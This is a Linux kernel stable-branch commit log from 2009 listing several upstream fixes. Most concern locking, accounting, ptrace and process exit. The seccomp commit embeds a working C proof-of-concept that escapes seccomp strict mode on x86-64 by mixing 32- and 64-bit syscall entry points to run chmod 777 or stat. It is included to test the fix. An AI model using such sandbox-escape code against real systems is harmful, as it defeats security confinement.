linux-toradex.git/kernel, branch v2.6.27.27

kernel/resource.c: fix sign extension in reserve_setup()

2009-07-20T03:45:00+00:00

commit 8bc1ad7dd301b7ca7454013519fa92e8c53655ff upstream.

When the 32-bit signed quantities get assigned to the u64 resource_size_t,
they are incorrectly sign-extended.

Addresses http://bugzilla.kernel.org/show_bug.cgi?id=13253
Addresses http://bugzilla.kernel.org/show_bug.cgi?id=9905

Signed-off-by: Zhang Rui 
Reported-by: Leann Ogasawara 
Cc: Pierre Ossman 
Reported-by: 
Tested-by: 
Cc: Jesse Barnes 
Signed-off-by: Andrew Morton 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

security: use mmap_min_addr indepedently of security models

2009-07-20T03:44:59+00:00

commit e0a94c2a63f2644826069044649669b5e7ca75d3 upstream.

This patch removes the dependency of mmap_min_addr on CONFIG_SECURITY.
It also sets a default mmap_min_addr of 4096.

mmapping of addresses below 4096 will only be possible for processes
with CAP_SYS_RAWIO.

Signed-off-by: Christoph Lameter 
Acked-by: Eric Paris 
Looks-ok-by: Linus Torvalds 
Signed-off-by: James Morris 
Signed-off-by: Greg Kroah-Hartman

bsdacct: fix access to invalid filp in acct_on()

2009-07-02T23:32:11+00:00

commit df279ca8966c3de83105428e3391ab17690802a9 upstream.

The file opened in acct_on and freshly stored in the ns->bacct struct can
be closed in acct_file_reopen by a concurrent call after we release
acct_lock and before we call mntput(file->f_path.mnt).

Record file->f_path.mnt in a local variable and use this variable only.

Signed-off-by: Renaud Lottiaux 
Signed-off-by: Louis Rilling 
Cc: Al Viro 
Signed-off-by: Andrew Morton 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

clockevents: prevent endless loop in tick_handle_periodic()

2009-05-08T21:54:36+00:00

commit 74a03b69d1b5ce00a568e142ca97e76b7f5239c6 upstream.

tick_handle_periodic() can lock up hard when a one shot clock event
device is used in combination with jiffies clocksource.

Avoid an endless loop issue by requiring that a highres valid
clocksource be installed before we call tick_periodic() in a loop when
using ONESHOT mode. The result is we will only increment jiffies once
per interrupt until a continuous hardware clocksource is available.

Without this, we can run into a endless loop, where each cycle through
the loop, jiffies is updated which increments time by tick_period or
more (due to clock steering), which can cause the event programming to
think the next event was before the newly incremented time and fail
causing tick_periodic() to be called again and the whole process loops
forever.

[ Impact: prevent hard lock up ]

Signed-off-by: John Stultz 
Signed-off-by: Andrew Morton 
Signed-off-by: Thomas Gleixner 
Cc: stable@kernel.org
Signed-off-by: Greg Kroah-Hartman

fix ptrace slowness

2009-05-02T17:24:58+00:00

commit 53da1d9456fe7f87a920a78fdbdcf1225d197cb7 upstream.

This patch fixes bug #12208:

  Bug-Entry       : http://bugzilla.kernel.org/show_bug.cgi?id=12208
  Subject         : uml is very slow on 2.6.28 host

This turned out to be not a scheduler regression, but an already
existing problem in ptrace being triggered by subtle scheduler
changes.

The problem is this:

 - task A is ptracing task B
 - task B stops on a trace event
 - task A is woken up and preempts task B
 - task A calls ptrace on task B, which does ptrace_check_attach()
 - this calls wait_task_inactive(), which sees that task B is still on the runq
 - task A goes to sleep for a jiffy
 - ...

Since UML does lots of the above sequences, those jiffies quickly add
up to make it slow as hell.

This patch solves this by not rescheduling in read_unlock() after
ptrace_stop() has woken up the tracer.

Thanks to Oleg Nesterov and Ingo Molnar for the feedback.

Signed-off-by: Miklos Szeredi 
CC: stable@kernel.org
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

exit_notify: kill the wrong capable(CAP_KILL) check (CVE-2009-1337)

2009-05-02T17:24:55+00:00

CVE-2009-1337

commit 432870dab85a2f69dc417022646cb9a70acf7f94 upstream.

The CAP_KILL check in exit_notify() looks just wrong, kill it.

Whatever logic we have to reset ->exit_signal, the malicious user
can bypass it if it execs the setuid application before exiting.

Signed-off-by: Oleg Nesterov 
Acked-by: Serge Hallyn 
Acked-by: Roland McGrath 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

kprobes: Fix locking imbalance in kretprobes

2009-05-02T17:24:37+00:00

commit f02b8624fedca39886b0eef770dca70c2f0749b3 upstream.

Fix locking imbalance in kretprobes:

=====================================
[ BUG: bad unlock balance detected! ]
-------------------------------------
kthreadd/2 is trying to release lock (&rp->lock) at:
[] pre_handler_kretprobe+0xea/0xf4
but there are no more locks to release!

other info that might help us debug this:
1 lock held by kthreadd/2:
 #0:  (rcu_read_lock){..--}, at: [] __atomic_notifier_call_chain+0x0/0x5a

stack backtrace:
Pid: 2, comm: kthreadd Not tainted 2.6.29-rc8 #1
Call Trace:
 [] ? printk+0xf/0x17
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] print_unlock_inbalance_bug+0xc3/0xce
 [] ? clocksource_read+0x7/0xa
 [] ? getnstimeofday+0x5f/0xf6
 [] ? register_lock_class+0x17/0x293
 [] ? mark_lock+0x1e/0x30b
 [] ? tick_dev_program_event+0x4a/0xbc
 [] ? __slab_alloc+0xa5/0x415
 [] ? pre_handler_kretprobe+0x28/0xf4
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] lock_release_non_nested+0xa4/0x1a5
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] lock_release+0x141/0x166
 [] _spin_unlock_irqrestore+0x19/0x50
 [] pre_handler_kretprobe+0xea/0xf4
 [] kprobe_exceptions_notify+0x1c9/0x43e
 [] notifier_call_chain+0x26/0x48
 [] __atomic_notifier_call_chain+0x37/0x5a
 [] ? __atomic_notifier_call_chain+0x0/0x5a
 [] atomic_notifier_call_chain+0xc/0xe
 [] notify_die+0x2d/0x2f
 [] do_int3+0x1f/0x71
 [] int3+0x2c/0x34
 [] ? do_fork+0x1/0x288
 [] ? kernel_thread+0x71/0x79
 [] ? kthread+0x0/0x60
 [] ? kthread+0x0/0x60
 [] ? kernel_thread_helper+0x0/0x10
 [] kthreadd+0xac/0x148
 [] ? kthreadd+0x0/0x148
 [] kernel_thread_helper+0x7/0x10

Signed-off-by: Ananth N Mavinakayanahalli 
Tested-by: Bharata B Rao 
Cc: Masami Hiramatsu 
Cc: Jim Keniston 
Cc: Linus Torvalds 
Cc: Andrew Morton 
LKML-Reference: <20090318113621.GB4129@in.ibm.com>
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86-64: seccomp: fix 32/64 syscall hole

2009-03-17T00:52:59+00:00

commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath 
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

Fix fixpoint divide exception in acct_update_integrals

2009-03-17T00:52:52+00:00

commit 6d5b5acca9e566515ef3f1ed617e7295c4f94345 upstream.

Frans Pop reported the crash below when running an s390 kernel under Hercules:

  Kernel BUG at 000738b4  verbose debug info unavailable!
  fixpoint divide exception: 0009  #1! SMP
  Modules linked in: nfs lockd nfs_acl sunrpc ctcm fsm tape_34xx
     cu3088 tape ccwgroup tape_class ext3 jbd mbcache dm_mirror dm_log dm_snapshot
     dm_mod dasd_eckd_mod dasd_mod
  CPU: 0 Not tainted 2.6.27.19 #13
  Process awk (pid: 2069, task: 0f9ed9b8, ksp: 0f4f7d18)
  Krnl PSW : 070c1000 800738b4 (acct_update_integrals+0x4c/0x118)
             R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:0 CC:1 PM:0
  Krnl GPRS: 00000000 000007d0 7fffffff fffff830
             00000000 ffffffff 00000002 0f9ed9b8
             00000000 00008ca0 00000000 0f9ed9b8
             0f9edda4 8007386e 0f4f7ec8 0f4f7e98
  Krnl Code: 800738aa: a71807d0         lhi     %r1,2000
             800738ae: 8c200001         srdl    %r2,1
             800738b2: 1d21             dr      %r2,%r1
            >800738b4: 5810d10e         l       %r1,270(%r13)
             800738b8: 1823             lr      %r2,%r3
             800738ba: 4130f060         la      %r3,96(%r15)
             800738be: 0de1             basr    %r14,%r1
             800738c0: 5800f060         l       %r0,96(%r15)
  Call Trace:
  ( <000000000004fdea>! blocking_notifier_call_chain+0x1e/0x2c)
    <0000000000038502>! do_exit+0x106/0x7c0
    <0000000000038c36>! do_group_exit+0x7a/0xb4
    <0000000000038c8e>! SyS_exit_group+0x1e/0x30
    <0000000000021c28>! sysc_do_restart+0x12/0x16
    <0000000077e7e924>! 0x77e7e924

Reason for this is that cpu time accounting usually only happens from
interrupt context, but acct_update_integrals gets also called from
process context with interrupts enabled.

So in acct_update_integrals we may end up with the following scenario:

Between reading tsk->stime/tsk->utime and tsk->acct_timexpd an interrupt
happens which updates accouting values.  This causes acct_timexpd to be
greater than the former stime + utime.  The subsequent calculation of

	dtime = cputime_sub(time, tsk->acct_timexpd);

will be negative and the division performed by

	cputime_to_jiffies(dtime)

will generate an exception since the result won't fit into a 32 bit
register.

In order to fix this just always disable interrupts while accessing any
of the accounting values.

Reported by: Frans Pop 
Tested by: Frans Pop 
Cc: Martin Schwidefsky 
Signed-off-by: Heiko Carstens 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

copy_process: fix CLONE_PARENT && parent_exec_id interaction

2009-03-17T00:52:52+00:00

commit 2d5516cbb9daf7d0e342a2e3b0fc6f8c39a81205 upstream.

CLONE_PARENT can fool the ->self_exec_id/parent_exec_id logic. If we
re-use the old parent, we must also re-use ->parent_exec_id to make
sure exit_notify() sees the right ->xxx_exec_id's when the CLONE_PARENT'ed
task exits.

Also, move down the "p->parent_exec_id = p->self_exec_id" thing, to place
two different cases together.

Signed-off-by: Oleg Nesterov 
Cc: Roland McGrath 
Cc: Andrew Morton 
Cc: David Howells 
Cc: Serge E. Hallyn 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman